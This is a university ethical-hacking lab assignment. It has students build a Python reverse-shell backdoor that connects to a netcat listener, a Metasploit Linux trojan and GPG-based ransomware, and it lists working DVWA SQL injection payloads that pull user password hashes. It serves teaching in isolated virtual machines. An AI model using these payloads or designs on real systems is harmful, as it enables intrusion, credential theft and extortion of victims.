CSCI369 Ethical Hacking

This material is copyrighted. It must not be

C distributed without permission from
Joonsang Baek

Assignment

Due: 11:55 pm (Sydney Time) 28 October 2022
Total Mark: 100 (30% of Final Mark)

General Instructions: Please read the following instructions carefully.

- You must create a folder (directory) for each question. – You will need to
create seven folders named as Q1,…,Q5.
- Answers for each question (which can be essays) need to be saved in each
folder.
- You need to have a VirtualBox installed on your personal laptop or
desktop. In the VirtualBox, you need to install at least Kali, Ubuntu and
Metasploitable2 virtual machines.
- You will have to take several screenshots of the results if asked. Those
screenshots will be checked thoroughly using hash checksum. If the same
checksum will be resulted from any files submitted by two different
students, all of them will get zero mark for the assignment.

Important note: You should submit your Python source codes with readme files
(for explaining how to run your program). Not doing so could result in a reduction
in the marks.

1. Make Your Own Backdoor Trojan (25 marks)

As a hacker, you want to create a backdoor Trojan, which will be

delivered to the victim who is a Ubuntu user. If this backdoor is executed
(on Ubuntu VM), the victim’s Ubuntu machine will connect to your Kali
VM. Once you’ve got a connection, you can type any non-interactive Unix
commands with options, which will be sent to the victim’s machine and
executed there. In other words, you get a “reverse shell”.
(Note that "ls" and "pwd" are examples of non‐interactive commands
while "cd (change directories)" or text editors such as "vi" and "gedit"
are interactive ones. You are allowed to make your backdoor interactive
commands usable, which could be considered favourably during marking.)

Your task is to write a Python program to implement this backdoor. (On

Ubuntu, you will need to compile your Python program by entering
“python3 <filename>.py”.) There are a few assumptions on your
program:

a) On your Kali machine, you (as a hacker) will run netcat to wait for
incoming traffic. That is, you run nc ‐v ‐l ‐p 5555 on the terminal.
(This means you don’t have to write a server program.)

b) The backdoor Trojan is, then, a client Python program that will
connect to your Kali machine waiting for the connection.
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c) As this is (going to be) malware, you do not need to consider the

sanitization of the Linux commands. (Refer to Task 2 in Lab5.)

d) You should start with the following Python code, which is a client
program based on Python socket package
(https://docs.python.org/3/howto/sockets.html ). – The code given
below just connects to the server, receives and displays a line of string
which is inputted by the server's user.

You should modify this code so that Linux commands you type will be
sent to the victim’s Ubuntu machine, executed there, and the result
will be sent back to your Kali machine).

The connection should be continued until you enter the symbol

‘&’. Once this symbol is entered, the connection should be terminated.

import socket 
 
  kali_ip = "10.0.2.15" #This IP can be different on your virtual box 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((kali_ip, 5555))  
s.send("Connected!\n".encode()) #encode() is needed to convert your 
string input to bytes to be transferred over the network  
 
received_data = s.recv(1024).decode() #decode() is needed to convert 
your byte result to string to be displayed 
  print(received_data) 
 
s.close() 

Hint: Save the above code. On your kali machine, run the netcat (nc) command
described above. On the Ubuntu machine, run the above code and see what
happens.

Submit your Python source code named “backdoor.py” and readme.txt file
that explains how to run your program.

2. Reverse shell for Linux (15 marks)

In the series of our labs, we learnt how to create a reverse shell for a
Windows machine. (We used msfvenom to generate a backdoor and
exploit it using Metasploit, creating a reverse shell.) It is harder to create a
reverse shell for Linux, but it is not impossible. Your task is to refer to the
following web article and create a reverse shell for Ubuntu (Linux) VM.

https://www.offensive-security.com/metasploit-unleashed/binary-linux-
trojan/

Once you are successful, take screenshots of the following events:

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C distributed without permission from
Joonsang Baek

a) An event that your Ubuntu VM is successfully connecting to

your Kali VM; name your screenshot as Q2-a.jpg. (3 marks)
b) An event that uname -a is run on Metasploit; name your
screenshot as Q2-b.jpg. (4 marks)
c) An event that ls -la is run on Metasploit; name your
screenshot as Q2-c.jpg. (4 marks)
d) A screenshot when ifconfig is run on Metasploit; name your
screenshot as Q2-d.jpg. (4 marks)

You can use other graphic file formats, but make sure that it can be clearly
visible. Save all your files in the folder Q2.

Additional notes on Q2:

a) The freesweep software’s current version is slightly different from the
one described in the web page. You need to consider this.
b) You should put the backdoor (freesweep.deb) in the directory
/var/www/html (not /var/www/ as described in the article).
c) When you run Metasploit, you do not need to follow the instruction
given in the web article. You can run Metasploit as we did in the lab,
i.e. you run commands one by one: msfconsole  use
exploit/multi/handler … ,etc.
d) Depending on the version of Ubuntu you are running, your Ubuntu VM
may freeze upon connecting to Kali VM (resulting in a reverse shall.)
Although your Ubuntu VM is frozen, the reverse shell will be working
fine. After you take screenshots, you may need to turn off Ubuntu VM
to close connection.

3. Further SQL injection attack (15 marks)

Turn on Metasploitable2 VM. On Kali VM, open a browser and type

Meatsploitable2 VM’s IP to connect to DVWA. In the DVWA, change the
“DVWA Security” setting to “low”. Then go to SQL Injection section and
complete the following tasks.

a) In the input field of User ID, type ' order by 1 #. You will not get
any error. This means you have at least one column in the database.
Instead of 1, try any other number, say 10 (i.e., ' order by 10 #.
You will get an error this time. This means 10 is too big for the
number of columns. Keep trying this way to find out the exact number
of columns. How many columns are there? Your answer needs to be
saved in Q3-a.txt. (3 marks)

From questions b) to f), the number of null = the number of columns

-1.

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This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek

b) Now enter ' union select null,…,null, schema_name

from information_schema.schemata # . Here, you will get all
the database schemata in the system. (Roughly speaking, a database
schema is an organization of data in a database.) Take a screenshot of
your result and name it as Q3-b.jpg. (3 marks)
c) Now enter ' union select null,…,null, database()# .
This will give you a name of the schema you are using. What is it? Your
answer needs to be saved in Q3-c.txt. (2 marks)
d) Now enter ' union select null,…,null, table_name
from information_schema.tables where table_schema
='answer from question c)' # . This will give you all the table
names of the database schema you are using (the name of this schema
is your answer for question c)). Take a screenshot of your result and
name it as Q3-d.jpg. (2 marks)
e) Now enter ' union select null,…,null, column_name
from information_schema.columns where table_name
='users' # . This will give you all the column names of the
database schema you are using (the name of this schema is your
answer for question c)). Take a screenshot of your result and name it
as Q3-e.jpg. (2 marks)
f) In this question, retrieve first name of each user and a (hashed)
password from the ‘users’ table. The structure for this SQL injection
is similar: ' union select … from users (Note that you do
not need to use “where” syntax in this case. Replace … with
appropriate items.) Take a screenshot of your result and name it as
Q3-f.jpg. (3 marks)

You can use other graphic file formats, but make sure that it can be clearly
visible. Save all your files in the folder Q3.

4. Creating ransomware (20 marks)

In this question, your task is to create a simple ransomware, which is a

Python program. The assumption is the following: 1) An attacker breaks
into a victim’s machine that has GPG installed (For the sake of simplicity,
assume that the victim’s machine is Kali VM.); 2) the attacker put her
public key in the victim’s machine; 3) the victim has a file named
important.txt in his root directory (You can write anything in
important.txt.)

The ransomware should perform the following:

1) It asks the attacker to type a key (for symmetric encryption) and saves
it to a file named key.txt.
2) Then it encrypts the file important.txt using the key that the
attacker selected in step 1); the format of the resulting ciphertext

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This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek

should be ASCII so that it has a file extension .asc at the end. - We

call this ciphertext important.txt.asc.
3) The file key.txt will be encrypted using the attacker’s public key; the
format of the resulting ciphertext should be ASCII so that it has a file
extension .asc at the end. - We call this ciphertext key.txt.asc.
4) The file key.txt will be deleted.
5) The file important.txt will be deleted
6) It will finally display a message for ransom “Your file important.txt is
encrypted. To decrypt it, you need to pay me $1,000 and send
key.txt.asc to me.”

Write a Python program that does the above steps. You name your script
as ransom and save it together with your public key (the attacker’s public
key) in the folder Q4.

Submit your Python source code and readme file which explains how to
run your program.

Note 1: In step 2), you do not have to extract the key from key.txt. When
GPG asks a key for symmetric encryption, you can enter the same key you
have saved in key.txt.

Note 2: As this is (going to be) malware, you do not need to think about
the sanitization of the Linux commands. (Refer to Task 2 in Lab5.)

5. Web crawler for searching for subdirectories (25 marks)

Discovering subdirectories of a target website gives a hacker many good
opportunities for local/remote file inclusion attack. In this question, you
are asked to write a Python web crawling program to discover sub-
directories of Metasploitable’s mutillidae website.

A skeleton code to start is as follows.

import requests 
 
meta_ip ="10.0.2.4" #Your Metasploitable’s IP can be different 
target_website = "http://"+meta_ip+"/mutillidae" 
 
directory="documentation" #This is an example 
# directory="addnews" 
url = target_website+"/"+directory 
response = requests.get(url) 
print(response)

Observe how the response value will change depending on the

subdirectory exists or not. (Note that “documentation” exists while
“addnews” does not.)

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C distributed without permission from
Joonsang Baek

Then, download "dirs.txt" from the assignment section in our

Moodle site for the possible names of the directories. Your python
program should go through all the names in the dirs.txt file and print
all the URLs that have matching subdirectories in the file.

Submit your Python source code and readme file which explains how to
run your program.

How to submit

Put your folders Q1,…,Q5 to one folder named as your surname followed by a
UOW student number, e.g. Greg5284611. Then, compress this folder to make one
zip file. – Note that only zip format will be accepted and other format may result
in zero mark for your assignment. Submit your (zip) file through Moodle.